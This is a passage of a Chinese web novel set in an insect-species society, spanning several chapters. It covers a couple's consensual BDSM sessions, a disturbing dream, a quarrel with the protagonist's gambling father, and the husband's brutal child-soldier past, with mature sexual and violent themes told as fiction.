先是在另一侧掌心里轻轻掂了掂,然后,扬起手,用力甩了出去! 咻——! 像是吹出一个轻巧的口哨。 “如果你希望我能有所感受,最好比这个力道重一些。”奥古斯特一颗颗解开自己上衣的扣子。 “那你不会疼吗?”西奥问。 “当然。”奥古斯特答。 “但越是疼痛,我越是喜欢。”雌虫的声音低沉,肩膀宽阔,胸肌饱满。随着雌虫的动作,西奥的眼神逐渐再也移不开。 “你会觉得这很不正常吗?” “嗯?”西奥惊醒,跟蓝眼睛对视,“不,我只是……” “比较惊讶。” 也不是没有过震惊和纠结,但事已至此,西奥还是决定要试一试。看自己能否接纳全部的、真实的奥古斯特。 不然呢,还能离咋滴? 然后问:“摄像头在哪?” 奥古斯特指了指某排柜子的顶部。这是他特地找下属临时紧急安装的。 西奥似乎误会了什么。 最开始的沉默,让奥古斯特失去了解释的最佳契机,等他明白过来这是误会的时候,已经有点迟了。然后,他选择了默许这个误会的存在。 因为,真相或许更加难堪。 他在西奥的监视下,拆掉了安在办公室内的所有摄像头。然后,达成了某种君子协议。 “再说一遍,如果你非要拍,”西奥仍然无法理解,但还是选择了尊重,“一定要提前让我知道。” “并且,所有拍摄的内容,都不可以传出去。” “好。”奥古斯特对此当然毫无异议。 然后回到现在,回到治疗室。西奥感受着手中鞭子的重量,“所以这个……我们通常是怎么开始的?” “你可以把鞭梢,放在我身上。” 西奥调整手里的鞭子,把顶端轻轻抵在了雌虫的胸口。 “然后移动它。” 窄小的黑色皮革,贴着蜜色起伏的肌肉纹理,缓慢移动,尾端留下小小的压痕。像是在沙丘间缓慢攀行的小汽车,流下一点柔软的尾迹。 西奥吞咽了一下唾沫。他开始觉得有些热了。是房间里温度太高吗? 锁骨、胸口、腹部,像是野兽缓慢巡视自己的领地。西奥的手很慢,却意外很稳。 “然后,等你移动到喜欢的位置,就可以扬起鞭子……” “啪!” 鞭子重重落下,击打出清脆声响,将雌虫还未说完的话拦腰截断,变成一句模糊不清的闷哼。 奥古斯特显然没有准备好,被这一下抽得晃了晃。过了好几秒,红痕才迟到般浮现,斜斜印在胸口。 或许是肌肉记忆,西奥做起这种事来,得心应手。 “然后,可以继续之前的动作……” 鞭梢落在那道痕迹上,轻轻拂过。下方的肌肉因为紧张和疼痛而绷紧。奥古斯特的视线紧紧钉在上面,似乎在防备着又一次的落下。呼吸变得又急又重,彻底失去了往日的沉稳镇定 但因为四肢的束缚,他无处可躲,只能承受。 像是一场你追我赶,你落我猜的游戏。 而西奥意外地发现,他很享受这种游戏。 在意识到奥古斯特知晓自己人类姓名的时候,他感觉被看到了,被理解了,像是踏入久违的温热泉水里,安全、舒缓、放松。那晚其他的运动也是如此。 而现在不一样,他清晰察觉到某种危险和失控,心跳的加速,体温的升高,都是生理上最明显不过的证明。 在负距离的接触方面,虽然西奥不愿承认,但事实和经验摆在那里,奥古斯特明显是更加主导的那个。这跟上下无关。单纯是雌虫经验丰富、花样繁多,只需稍加引导,西奥就只剩被带着走的份了。 但现在,此刻,在这个房间内,在他手握鞭子的时刻,他就是全然的主导。 他给予他疼痛,也给予他欢愉。 西奥好像能稍微体会虫族社会里,其他雄虫的心情了。 嗯,虽然可能确实,不太健康,但……实在美味。 鞭梢的力度不算重,但偶尔也会压到痕迹,或者蹭到某些位置,于是就能看到本就漂亮的肌肉线条,变得更加清晰。 已经不需要奥古斯特再加以引导,西奥完全掌握了游戏的节奏。 大多数时候,是轻轻的、爱抚一样的游走,间杂着陡然加重的、惩罚一般的拍打。 而且,因为雌虫一览无余的状态,西奥很清楚,这的确让他感到了快乐。 正如他自己所说的,越是疼痛,就越是喜欢。 “啪!”又一下落在胸前。跟之前那道痕迹交叉,像两道艳红的标记。 奥古斯特再次晃了晃,依旧没有发出声音。 鞭子抵在了他的下巴上,轻轻拍了拍,“叫出来。”西奥命令道。 那双严谨的唇抿了抿,接着顺从地微微张开。然后,再又一次鞭子落到背部时,吐出一声短促的隐忍的音节。 因为是第一天,时间又很晚,最终他们只尝试了非常少的道具和姿势,全部是最基础的内容。只在奥古斯特的胸前和后背留下了几道交错的痕迹。以及在手腕和脚踝上多了几道勒痕。 在涉足这个领域之前,因为不了解,西奥曾经很犹豫,很担心。但等到时间结束,提前订好的闹钟响起,意犹未尽、想要继续的反而是他。 怎么回事,x.p还会传染是吗? 但其实,西奥心里也清楚,更可能的原因是他本来就很喜欢这个。毕竟,这是他和奥古斯特两个虫的“心理治疗室”。 他们是多年夫夫,有些共同爱好,在某些方面相性好,也很正常。 想到这里,他再次看向摄像头。 他知道自己正在被记录。 还是有些别扭。但是,想到难得失控和脆弱的雌虫,需要自己安抚才能恢复的虫皇,西奥觉得:看就看吧!反正不会传出去。正如论坛里说的,看了又不会少块肉! 在所有的环节里面,西奥最喜欢的还是结束后的安抚。因为疼痛,奥古斯特明显有些呼吸过度,等把他解开的时候,雌虫会下意识用力握住他的肩膀和胳膊,蓝眼睛里是全然地脆弱和信任。需要等西奥拥抱着他,安抚好一会儿才能恢复。 我靠,变.态竟是我自己。 事后,西奥小小的反思了一下。但一想到这合法合规,而且两个虫分明都喜欢,还属于精神力治疗的辅助手段,西奥腰板又挺直了。 难得喜欢,而且无害,怎么不能继续啦? 误会解除,监控变成情.趣。所有虫都度过了一个愉快又充实的夜晚。 除了系统。 “宿主你怎么回事啊!?怎么突然就被反派用肉.体.诱惑了?!倒是反抗一下啊!手环的事情,监控的事情,都不管了吗!” “手环的限制已经取消了。”即便不取消,他也问心无愧,而且还有备用手环。 “监控拍的内容也都发给我了。”不得不承认,镜头里的他们,的确非常……令虫脸红。西奥没有看完。 “其他的虫肉监控,奥古斯特也说了会改。” “得了吧,分明就是爽到了所以轻易翻篇了吧!”系统气急败坏,吱哇乱叫。 “嗯,翻篇了。”西奥闭着眼睛,幸福地躺在床上说。 “什么翻篇了?”奥古斯特换好了睡衣,在他身边躺下。 “咳,没什么。”西奥注意到,雌虫身上的痕迹还没有消除。以至于躺下的时候,压到的时候,动作都肉眼可见的顿了一下。 “你……不治疗吗?”最后那几下,西奥之所以敢下狠手,除了奥古斯特的鼓励和默许,很重要的原因就是,他见识过雌虫超强的恢复力。 说实话,他本来以为,解开雌虫以后,那些痕迹很快就会消失。但一直到安抚结束,他们洗完澡,马上要休息了,这些痕迹,居然还在。 他探进手去摸了一下,痕迹肿起来了,还有点烫。 “我一般会留着它们。” “不疼吗?”西奥看来,游戏结束,疼痛就该消失。 “有一点,但可以忍受。”奥古斯特说,把西奥伸进去的手抽出来,“这些疼痛,你留下的这些疼痛,会让我觉得安心。” 西奥觉得有点心疼,但不知为何,又有点暗爽。 “这个,治疗室里的事情,我们以前经常做吗?” “在你失去记忆前,只要我们有时间,每天都会。” 好……那个哦。 “晚安。”有着特殊爱好的雌君说。 “晚安。”爱着雌君的西奥回。 “你们怎么睡得着的!!!”只剩系统在尖叫。 作者有话说: 请自行脑补吧! 第26章 第26章头疼[VIP] 西奥做了一个梦。 大概是这一天的经历太过精彩, 心绪过山车一样跌宕起伏,所以大脑也跟着受到了影响。 梦境的最初,场景相当温馨, 蒙上了一层朦胧的柔色。他看到奥古斯特怀里正抱着小小的幼崽,轻轻摇晃。一侧的衣服被解开, 似乎是在……喂.奶。 奥古斯特眉头紧皱, 不知道是不是被吸疼了。 “怎么是雌虫。”他说。 “雌虫怎么了?雌虫多厉害!你也是雌虫, 难道还会重雄轻雌?”西奥劝慰道, 伸手捏住了崽的小手, 被轻轻抓住了食指。 但奥古斯特似乎仍对虫崽的性别不满意。 一转眼, 崽气球一样长大了, 正骑在奥古斯特肩头,两父子开心往前冲,只留给西奥一个遥远的背影。 西奥赶紧牵着手里的虫崽, 追了上去。 不对,怎么自己手里也有个虫崽? 他低头一看, 手里却空空如也,什么都没了。 “雄父, ”背后有个年轻的声音在喊他。 西奥再次回头, 那是一个宽肩窄腰的年轻军雌, 穿着熟悉的深蓝色军装,只是不知为何,始终看不清脸…… “小弗……”西奥惊喜地叫他, 有些欣慰,一眨眼孩子就这么大了。 但随即, 长大后的虫崽突然声音凄厉,他仓皇冲西奥伸出一只手, “雄父救我!” 只听噗的一声,像是过胀的气球轻轻裂开,西奥还没来得及握住虫崽的手,就看着他在自己眼前陡然炸成了一团血雾! 西奥怔住,摸了摸脸上溅到的血珠,热的…… 怎么回事…… “别动。”他听到一个声音说。 西奥扭头,看到了奥古斯特。刚要过去,就看到他手里还有个东西。 是一把枪。 奥古斯特举起抢对准了西奥,那双蓝眼睛里仿佛结了一层寒冰,“别动。” 怎么回事?! 他盯着那把危险的枪口,感到困惑,但紧接着,悲伤如潮水般将他淹没。 他的虫崽,死了。他还那么小,那么年轻,西奥还能感受到那些小小的手指,握住他的柔嫩触感,怎么突然就……没了呢? 虫崽死了,他的雌父,奥古斯特为什么不伤心呢? 是奥古斯特吗?难道是奥古斯特杀了虫崽吗?! “奥古……”雌虫在此刻突然变得无比陌生,就在他马上开枪的时候,西奥下意识抬手—— 枪声并未响起。 他低头一看,那把凶器,不知为何到了自己手里。 而奥古斯特,正跪在自己的面前。他面容凶狠,却动弹不得,被绑成了受刑者的姿势。 “杀了他!”一个声音催促,“你不杀他,他就会杀了你!” 西奥举起枪,抵进雌虫口中。 砰!!! 西奥猛地坐了起来。 外面天还没亮。奥古斯特被他的动静弄醒了,“怎么了?” “做了个梦。”西奥恍惚回道。 “什么梦?” 什么梦呢?在他醒来的那一瞬间,好像还隐约记得点什么,但等真的清醒过来,那些模糊的记忆就像沙子一样从指间溜走了。唯一还记得的,只剩下在梦里的感受。巨大的悲伤,还有无力感。像是沉重的山一样,几乎将他压垮。 西奥摸了摸脸颊,果然找到了水迹。 除此之外,似乎还有个隐约的念头萦绕不去。是什么? sh……上了他?什么乱七八糟的。 “不记得了。”他说,“你继续睡吧。” 身边的雌虫再次闭上眼睛。西奥打开夜灯,动作轻缓地起身,先是去卫生间洗了把脸,结果更清醒了。便也没有回到床上,而是推开卧室门走了出去。 走廊里静悄悄的,只有应急灯的电源散发着微弱的光亮。 西奥沿着走廊一直向前,然后上楼梯,来到了弗雷德的门前。 这个家里,弗雷德的房间有两个,紧挨着,都在三楼。大概一个是卧室,一个是游戏室或者书房。 房门上都有一个大写的F。并且一个写的规整端正,另一个写的仿佛喝醉酒之后的狂草。 先前西奥还以为是房门的装饰图案,现在看来,应该是名牌。估计是取了第一个字母,做成了昵称。所以自己给崽的账号备注也是F。 “进去看看吧!”系统怂恿,“你不想知道弗雷德什么样子吗?” 大概是还没睡醒,西奥居然觉得系统的话非常有诱惑力。 “马上要过生日了,你不想知道虫崽喜欢什么吗?” 他的确想。 西奥伸出手,握在了把手上面。 “西奥?”一个声音突然将他唤醒,“你在小弗门前做什么?” “哦。”西奥说,看向不知何时也上楼的雌君,“想崽了,想看看……” 他把手从把手上抽回来,像是做错了事一般。 奥古斯特上前,握住了门把手,用力拧了一下。 门没开。 “上锁了。”奥古斯特说,“他们自从经过了第二次分化,就变得特别注重隐私。” “他们?” 奥古斯特顿了一下,“小虫崽们。” “好吧。”西奥突然觉得头有点疼,揉了一下。 “你没事吧?”奥古斯特大概注意到了他的表情,上前一步问。 “没什么,很困,但又头疼,睡不着。”西奥也意识到自己的不适了,撒娇一样把脑袋靠在了雌虫的肩膀上。 “下去走走?还是回卧室?需要吃药吗?” 西奥想了想,“回卧室吧。”他想躺一会儿,或许还能睡着。而且,这样奥古斯特也能睡一会儿。 于是他们一起回到卧室。但西奥没能睡着。 他就这样一直睁着眼,在额角一跳一跳的阵痛中,熬到了天亮。 好在系统安静地像是死了一样,没有吵他。 看出他的状态不好,奥古斯特甚至把早餐端到了床上。 但是西奥实在没有胃口,只咬了一口面包就吃不下了。 “发烧了吗?”奥古斯特伸手摸了摸西奥的额头,“好像也不烫。” “要不然,让吉尔过来看看?” “他一个脑外科主任,都快被使唤成我们的家庭医生了。”西奥扯扯嘴角,开了个玩笑。对于随便使唤好友这件事,他多少有点不好意思的。 “他本来就是皇室的家庭医生。” 什么? “这是他的兼职,之一。除了皇室,他还给很多贵族当家庭医生。” “吉尔他……这么需要钱吗?” “手艺精湛又知道什么该说、什么不该说的医生,非常少。”奥古斯特说,“吉尔能有今天的成就,都是他自己挣来的。” 奥古斯特一开始说要留下来陪他,但是短短二十分钟内,就接了三通来自不同部门的电话。正如克利夫说的,接近年终的述职会议,奥古斯特很忙。 所以,西奥最后还是催他去工作了。毕竟不是什么动弹不得的大毛病,他完全可以自己一个虫在卧室等吉尔。 奥古斯特前脚刚走,吉尔后脚就到了。然后各种检查做了个遍,又是抽血,又是扫描,结果什么都没查出来。 “很健康一个虫啊!”吉尔把报告拿给他看。 “但我就是头疼,难受啊!”西奥有气无力,面色苍白。他的头痛绝不是无病呻吟,“好像有什么东西在脑子里钻来钻去的。” “哪有那么可怕……毕竟偏头痛到现在还是医学界的未解之谜。原因不明、治疗方法也不明。我可以给你开点止疼药,看看管不管用。”吉尔动作很快,说话间就已经开好了处方,“药待会就送来。” “不过,关键还是要早睡早起,规律作息,健康饮食,养成良好的生活习惯。”吉尔问,“你昨晚几点睡的?睡了多久?” 呃……昨天跟奥古斯特从治疗室出来,就已经后半夜了。后来又做梦惊醒,好像总共也没睡几个小时。“三点睡的,睡了…两个小时?” “这么晚才睡?你又没有工作,做什么去了?” 想起昨晚在自己鞭子底下抵达顶点的雌君,西奥:“嘿嘿!不告诉你!” 吉尔:“……”头痛也会影响智力吗? “另外,头疼也可能跟精神力有关。” 说到这个,西奥来了精神,“你的意思是,我有可能正在恢复精神力?!” “有可能。一切皆有可能。” 过了一会儿,吉尔才吞吞吐吐道:“那个……这段时间,给陛下打小报告的事情,对不起了。” “我也不想。但他毕竟是虫皇啊……我只是个小小的医生。” “理解,不怪你。”换位思考,西奥大概也会做出跟吉尔一样的决定。 “对了,你之前说要找无标志摄像头的供应商,我帮你找到了。但是具体细节需要你自己跟他商量。” “这么快?!”西奥也没想到,吉尔这么靠谱。自己本来只是随口一说。 “嗯,是个……熟虫。”吉尔点了几下自己的手环,点开一个名片。 图片上,是一个银发金眸的美貌雄虫,正双手抱胸,露出一个非常商业化的微笑。下面是他的名字以及广告词:阿朵耶夫·兰斯顿,携神灯公司,共同守护您的信息安全! 西奥眼睛都瞪大了,“这不是……” “嗯,你的雄父。” “等一下,我这种私生子,也能叫他雄父吗?他认我吗?”从手环上之前的冷淡态度来看,西奥不认为他们之间有多少亲情。 而且,“兰斯顿不是贵族吗?他怎么一副商虫做派啊?” “兰斯顿家族早就没落了,所以阿朵耶夫现在最大的倚仗,应该是神灯公司。哦,还有他的雌君。”吉尔解释道,“贵族和贵族之间也是不一样的。兰斯顿虽然是曾经的皇族,但是树大招风,经过了长时间的围剿,已经没剩多少虫了。各方面的实力自然也是大不如前。” “说到底,不管是老牌贵族还是新起之秀,总归都是按照现在的实力来论资排辈的。所以,拥有军团的四大家族,才是真正的权贵。其他的都只能靠边站了。” 拳头硬的就是老大。好残酷、好现实的虫族社会啊! “我不知道阿朵耶夫有没有认你,之前也没听你提起过。但你是虫皇的雄主,皇家精神力研究院院长,按理说各方面都是在他之上的。所以,只有你不认他的份,没有他不理你的说法。” “可是我之前给他发过消息,他确实没理我啊?”还是非常亲切的:在吗,雄父?对方只是已读不回。 “过去的一个月,所有发给你的消息,都在陛下的监控之下。”吉尔提醒,“他可能,只是不敢回你吧?” 哦对,把这事给忘了。 “现在都解除了,奥古斯特不会再那样做了。”西奥解释道。 对此,吉尔只是笑了笑,不置可否,“总之,我跟他提了你想要摄像头的事情,他很乐意接单。” 其实摄像头的事情,西奥只是拿来当借口的。但对于这个素未谋面的雄父,他确实感兴趣。 “你们应该很久没有见过了吧?” 西奥摇头,“我都没有记忆了,根本就是从来没见过。” “也对。”吉尔点头,“那你要是有时间,不介意的话……” “就见见他呗?” 作者有话说: 想要评论就是说…… 第27章 第27章工具[VIP] 吉尔开的药还算有用。吃了以后, 下午睡一觉,晚上的时候已经没有大碍了。 但奥古斯特还是果断拒绝了西奥前往治疗室的请求。 雄虫靠在枕头上,轻轻唉叹一声。 于是奥古斯特离开了几分钟, 返回的时候,手里多了个遥控器一样的设备。 “这是第二个柜子里, 第三排第六个道具的遥控。”雌虫把遥控器塞到西奥手中。 “什么?”西奥努力回想, 但是因为实在太多, 依旧一脸茫然。 “就是……”奥古斯特凑到西奥耳边, 轻声说了一个词。 西奥的嘴巴张大了, 他看向奥古斯特衣衫整齐的下.半.身, “在……里面?!” 奥古斯特没有接话, 继续介绍,“这是一档,这是二档, 依此类推。这是放电,这是……” “学会了吗?” 西奥盯着身边依旧一本正经的雌虫, 突然笑了笑,然后任性地摁下了最高档。 “……!!!” 就这样, 西奥只是动动手指, 也在美好的夜晚收获了一只超听话的雌君。 第二天一早, 头疼就全好了。于是按照约定,西奥在上午准时抵达了皇家精神力研究院,在那里跟自己的雄父见面。 但等真的见到阿朵耶夫, 西奥才意识到对方完全不是自己想象中的那样。 他对这个雄父的所有印象,全部都来自于雌父的自传体小说。在那里面, 阿朵耶夫是个聪明伶俐、活泼可爱、阳光美貌、傲娇臭屁的年轻小雄虫。 所以,谁来告诉他, 办公室这位摊在沙发上的懒散的挂着假笑的中登雄虫是谁? 凭心而论,阿朵耶夫依旧是好看的。银发向后梳得一丝不苟,面容精致,皮肤白皙,跟西奥有六分的相似。但不知道为什么,或许是那种从姿势和眼神中透露出来的疲惫和不自然,让西奥本能觉得,不太舒服。 “所以,您打算购买多少摄像头?是用在科研上吗?需要几个中控系统?” 阿朵耶夫脸上带着笑,微微低着头,问道。 “那个……”西奥不太擅长应对这种情况,索性直说了,“您应该是我的雄父吧?不需要这样说话。” 阿朵耶夫一愣,“您找我来,不是谈生意的?” “我失忆的事情你知道吧?” 阿朵耶夫点点头。这个事情闹得很大,他不可能不知道。 “所以我对之前的亲属会很好奇,想要了解一下,能理解吗?” 阿朵耶夫回过味来了,他叹口气,“所以,我跟你聊聊家常,告诉你你想知道的,你就会跟我签订这个三千万的合同?” 说着,把准备好的合同递了过去。 “三千万?!”西奥倒吸一口冷气,根本不敢接,“我哪来这么多钱?!” “你查查自己在研究院的财务权限,还有私下的账户。相信我,你很有钱的。光是市面上现在流通的精神力相关试剂,就有好几个是你的专利。神灯公司就是做卡拉汀试剂发家的,我知道这东西有多赚钱。” “更别说你还是虫皇的雄主。在这个位置,只要想要钱,钱就会流向你。” 西奥倒是知道自己账户里有很多钱。但是再有钱,也经不起这么花啊! 西奥捂住自己的小钱包,“不行,三千万也太多了!” “一分钱一分货,我这都是最新的科技,防屏蔽、反追踪,电量持久耐用,还支持智能存储。”一句句,仿佛广告词。 摄像头有多厉害,西奥不在乎。但毕竟是自己的雄父,而且都推销到这个份上了,西奥也有点不好拒绝。 但他知道,砍价,一定要往脚脖子上砍,“三千万太多了,三百万吧!” “成交!”对方答应得过于干脆,让西奥怀疑自己是不是上当受骗了,“电子版合同已经发过去了。” 手环适时地响起消息提示音。 西奥点开,看到一个线上合同的签订链接。他打开看了几眼,只感觉这一场父子相会,已经彻底沦为了一场金钱的交易。 虽然一开始就没有抱什么希望,但是发展成这样,说不失望,也是假的。 三百万对现在的西奥来说,的确不算多。西奥简单扫了几眼,就签署了这个合同。 “签好了,现在可以说了吧?” 阿朵耶夫仔细查看了合同,沉默了好一会儿,才说:“你是不是觉得,我是个特别糟糕的雄父?” 西奥微笑着看向他,没有说话。 “你的雌父并不爱我,你知道他为什么选择了我吗?” “因为脸?”西奥说。 阿朵耶夫一愣,“倒也没错。但更重要的原因,是我姓兰斯顿。” “而众所周知,兰斯顿家族最重要的就是……” “脸?”西奥插嘴。故意捣乱的态度十分明显了。 阿朵耶夫顿了一下,但也没生气,“是特殊的精神力技能。” “迄今为止,所有时间系的精神力技能,都是出自兰斯顿家族。包括历史上那位非常著名的虫皇艾弗雷特。”说起自家祖上的辉煌,阿朵耶夫脸上也多了几分神采,“他能停止时间,你知道吧?” 西奥点点头,这位精神力研究史上的巨佬真神,他怎么可能不知道。而且,这位虫皇和西尔斯上将的尸体一直都没被找到,甚至还有不少虫笃定他们并没有死亡,只是隐居在了时间的缝隙里。 很有传奇色彩的一位祖宗。 “难道你也能?”西奥好奇问。 阿朵耶夫脸上多了几分尴尬,“我做不到。” 那你说啥呢? “但是我的后代或许能做到!”阿朵耶夫强调,“默兹力就是看中了这一点,才一定要得到我的。” 西奥心情有点复杂。恋爱不应该是看性格、看虫品吗,怎么到了阿朵耶夫这里,变成了看京.子质量了?如果这样的话,去买一管不行吗? “我想说的是,很多时候作为雄虫,我没得选择。”大概是看出西奥很明显的不相信,阿朵耶夫的语气低落了不少,“不管是被默兹力带走,你的出生,还是我现在的雌君,和我的几十个雌侍……” “等一下,等一下,几十个?” “对,如果你不是虫皇陛下的专属雄主的话,你也会有几十个雌侍的。”阿朵耶夫说,“你的等级很高,基因不错。现在的法律法规下,你也需要为几十个雌虫提供信息素的。” “那也太夸张了吧!”西奥想起吉尔,“我朋友也是雄虫,他就只有两个雌侍。” “那他一定是付出了很多的积分,或者是大量的金钱,来摆脱这些义务。只是他没有告诉你。”眼看西奥急了,阿朵耶夫倒是来了兴致,“你可以去问任何一个除你这个朋友之外的雄虫,看看我说的是不是真的。” 西奥沉默了好一会儿,然后说,“虫族的社会文化,应该是雄尊雌卑。” “是,表面看是这样,大家也都这么说。但是,”阿朵耶夫话锋一转,“在这个雄虫在体力方面完全比不上雌虫,标记和信息素又日渐失去作用的当下,雄虫真的还能尊贵起来吗?” “别的不说,虫皇就是雌虫。几百年前,这个位置还只能由雄虫来坐。四大军团,三个军团长是雌虫。哦对了,还有皇家护卫队,诺亚也是雌虫。议会里也有接近半数的雌虫!” “你觉得在绝对的数量优势和强权之下,这些雌虫可能会是卑微的吗?” “所谓雄尊雌卑,不过是哄骗小雄虫的说辞罢了!” “你不会真信了吧?” 西奥没有表态,一直等他说完,才问,“所以,你的雌君和雌侍,他们对你不好吗?” 阿朵耶夫这一长串反问和质疑,没有个虫发泄在里面,西奥是不信的。 但有一点他说得倒也不是完全没有道理,如果权力真的彻底朝雌虫倾斜,那雄尊雌卑的确不太合理。金丝雀小雄主倒是更符合现实一点。只能说复杂的社会各有各的复杂。 不过,具体到每个虫,情况又不一样了。 听到西奥问这个,阿朵耶夫说不出话了。 好半天,才终于憋出一句:“好不好另说,但我很清楚,默兹力并不爱我。” “他在小说里不是这么写的。”作为看过全文的西奥,他觉得自己是有发言权的。倘若不是怀着爱意,很难把那段经历写得那样美好生动,令虫憧憬。 但两个虫感情结束得确实有点不体面,尤其是对于阿朵耶夫来说。所以西奥也能理解他的怨气。 “他对我最多有点喜欢,毕竟是为了生蛋,总要挑个顺眼的来吧。”阿朵耶夫摊手,“但是他的那种喜欢,就好像喜欢比丘兽、或者潘德兽那样。上头的时候,你想照顾它,对它好,但一旦喜爱没有了,就可以随时丢弃。” 西奥看得出来,阿朵耶夫是真心觉得,自己被默兹力当成用来下蛋的宠物了。 “你看过他的小说对吧?在那些生死攸关的危机时刻,我从来都不在他身边。他早就把我远远支开了!” “这不是为了保护你吗?”虽然同为雄虫,西奥还是不得不承认,雄虫的战斗力的确没法看,尤其是跟高等级的雌虫相比。要是近身搏斗,恐怕立刻就被秒了。 “名为保护,实为控制吧!他就是不信任我!”阿朵耶夫说得有些激动了,“实话告诉你吧,默兹力爱的其实是他的副官,叫……” “艾克?”真的假的?西奥的八卦之魂开始熊熊燃烧。 “对,艾克。默兹力不管做什么,不管去哪里,都会带上他。” “但艾克是个雌虫吧?”西奥质疑道。 “对啊,雌虫跟雌虫在一起的,本来就有很多!”阿朵耶夫一脸理所当然,还带着那种,你真是没见识的表情。 “你想想,雄虫本来就少,雌虫又有发.情期,他们会找谁来帮忙呢?尤其是军雌和星盗这种职业,雌虫数量这么多,日夜相处,还要互相交付性命,发展出感情是再正常不过的事情!” 卧槽,虫族通讯录! “奥古斯特没有告诉你?”阿朵耶夫表情揶揄,“那就奇怪了,他也是多年从军,还是元帅。” “是不是也跟部下有什么不为虫知的过去,所以才瞒着你这些虫尽皆知的常识呢?” 怎么突然开始人身攻击了?还扯到了自己的身上。西奥立刻毫不客气怼了回去,“你放尊重点!” “你觉得你比我强吗?”阿朵耶夫幸灾乐祸了起来,“你现在拥有的一切,第一雄主的地位,研究院院长的身份,不都是奥古斯特给你的吗?” 这句话,西奥确实没办法反驳。 “你现在活得很滋润,是因为奥古斯特喜欢你,因为你对他还有用。他还需要你的信息素,需要用你来生蛋。但你跟我一样,本质就是个工具虫。如果有一天,你对他没用了——” “你信不信,他会像默兹力对我那样,一脚把你踢开?!” 这通威胁般的宣言结束,房间里好一会都没有声音。 就连西奥这种脾气好的,也都有点生气了。 你吐槽就吐槽,为什么非要点评自己根本不知道的虫和事呢?客气一句你是雄父,就真的把自己当雄父了吗?高高在上说教什么啊满身爹味!再说都是默兹力给他养大的,尽过一天当爹的责任吗你! 你谁啊你就在这叭叭叭的!给你脸了!!! 但是西奥表面仍旧保持着理智和涵养,“第一,我和奥古斯特的事情,你管不着。” “第二,我们的合同作废了。” 西奥指向门口,“请滚出我的办公室,立刻!” 作者有话说: 好喜欢看大家的评论嘿嘿! 第28章 第28章神兵[VIP] 父慈子孝的美好场景没有出现, 反而平白被教育了一番。任谁也不会心情太好。 尽管阿朵耶夫后来改了语气,苦苦哀求,想要挽回订单, 但西奥还是宁愿支付高额的违约金,也不肯继续跟他做生意了。 什么虫啊这是! 晚上回家的时候, 西奥把跟阿朵耶夫见面的事情说给奥古斯特听了。当然, 省略了一部分污蔑雌虫和雌君的内容。 “阿朵耶夫, 他的雌君是第二军团的中将。作为神灯公司的股权拥有者, 他本来并不缺钱, 更不会缺这笔生意。”奥古斯特解释说, “但在前几年, 他染上了赌瘾。” 我靠!果然有问题啊! “据我所知,你一开始借过他几笔钱。但对方一直不改,后来就逐渐断了来往。怎么今天突然想起来要见他?” 西奥悔不当初, “这不是失忆了吗,就对自己的亲属有点好奇。而且最近要买摄像头, 就找到他了。” 然后好奇的结果,居然是戒社投稿:震惊!甩手雄父赌博欠钱后开始挑拨我们夫夫关系了怎么办! “你如果觉得麻烦, 我可以帮忙限制他的行动。听说他的雌君对这件事情也很头疼。” “算了吧。他本来就觉得雌虫都欠他的, 如果再限制他, 那岂不是要天天大喊:‘全宇宙雌虫都去死!’吗?” “他以前,并没有这么极端。”奥古斯特安慰道,“今天应该也只是一时情绪上头而已。” 西奥摆摆手, “你别替他说话了,我已经放弃了。这个雄父, 有还不如没有。” “对了,你买摄像头做什么?”奥古斯特问。 西奥一僵, 忘记这回事了,然后很快想到了一个完美的理由:“用来做科研的。” “为了观察提取雄虫精神力时的状态,需要实时记录。” “这么说,这项课题推进很顺利?” “按照汉斯的论文来看,好像还行。” “那很好。如果真的做出成果,可以帮助解决很多问题。” 西奥倒是不以为意。身为科研工作者,他很清楚,一项科研从实验室到真正落地,有多么长的路要走。只把这当作奥古斯特的安慰和夸奖。 “说起来,我的雄父是个赌鬼,我的雌父是个星盗,都有案底。”西奥再次试探着问,“我的家庭情况已经这么惨了,你的总不至于比我的还要差吧?” 他上次跟奥古斯特聊起父母,只得到了早死、没感情的回复。能看得出来,奥古斯特不想多说。 但他想起弗雷德说的,或许奥古斯特的过去,就是他痴迷于窥视和疼痛的根源呢? 他想知道。他还想抚平、想治愈。 听到这个问题,奥古斯特再次陷入了长久的沉默。就在西奥要放弃的时候,对方终于开口了。 “对于我来说,雄父、雌父还有家,都是完全不存在的概念。直到后来跟你在一起,有了虫崽,我才逐渐了解到,普通家庭应该是什么模样。”奥古斯特顿了一下,像是在思索从何说起,“我说过我是莫德神兵。你知道我们为什么叫这个称呼吗?” “因为……你们很厉害?” “因为,我们的基因供给者,将我们当作武器而并非生命。” “每一批莫德神兵,在刚孵化没多久的时候就会被丢到一片荒原上进行所谓‘筛选’。最后因为资源匮乏,幼崽们不得不互相厮杀,为了争一口肉,或者……为了争夺对方。稍微弱一点的,或者单纯运气不好的,就会在这里丢了性命。” “对于很多莫德神兵来说,吃到的第一口肉,很可能就是自己的兄弟。” 西奥听到这里,已经忍不住皱眉。光听描述就已经于心不忍,他无法想象奥古斯特作为亲历者的感受。 “这还只是一开始。每一批莫德神兵的筛选过程,本质上就是养蛊,一层层筛选下去。最后把所有同伴都吃掉的那个,才能活下来。” “我说我是莫德神兵里最强的那个,除了这是事实之外,更多的,也是在说,我的手上沾满了无数同伴的鲜血。” 奥古斯特避开了西奥满是心疼的目光,低下头,看了一眼自己的双手,继续说了下去,“等一批莫德神兵筛选完毕,这个最强的幸运儿,就会被送到莫德家族掌权者的床上,进行深度标记。” “而莫德家族的雄虫,有一种比较特殊的精神力技能,叫做牵丝。就像字面意思上的,他们能够像操控木偶一样,操控自己标记过的雌虫。” 西奥突然想起奥古斯特的技能,那也是一种丝线做成的利器。突然觉得讽刺无比。 “我从来不知道我生理上的雌父长什么样子。他就像一道影子,戴着漆黑的面具,站在族长身后,随时等待着执行杀戮的命令。他也曾是某一代莫德神兵里最强的一个,然后被迫活成了一柄没有思想的利剑。” “跟他的战斗是我生命中迄今为止最艰难的一场。但最终,我赢了。我赢了也就意味着……他死了。” “这就是我跟我雌父的交集。如果只看结果,你大概可以称我为弑父者。” 西奥握住奥古斯特的双手,摇摇头,“别这么说……不是你的错。”他想过奥古斯特的过去可能比较艰难,但没想到会这么凄惨。 “至于我生理上的雄父,莫德家族当时的掌权者。在我推翻他的统治之后,就顺手斩杀了。” “现在的莫德家族,只剩下安德森·莫德,算是我的叔父。他当年极力反对莫德神兵的培养计划,后来成了我的盟友。” “还有现在第一军团长萨迦,他也是莫德神兵。我们算是有些血缘关系。” “除此之外,我就只剩你,还有虫崽们了。” 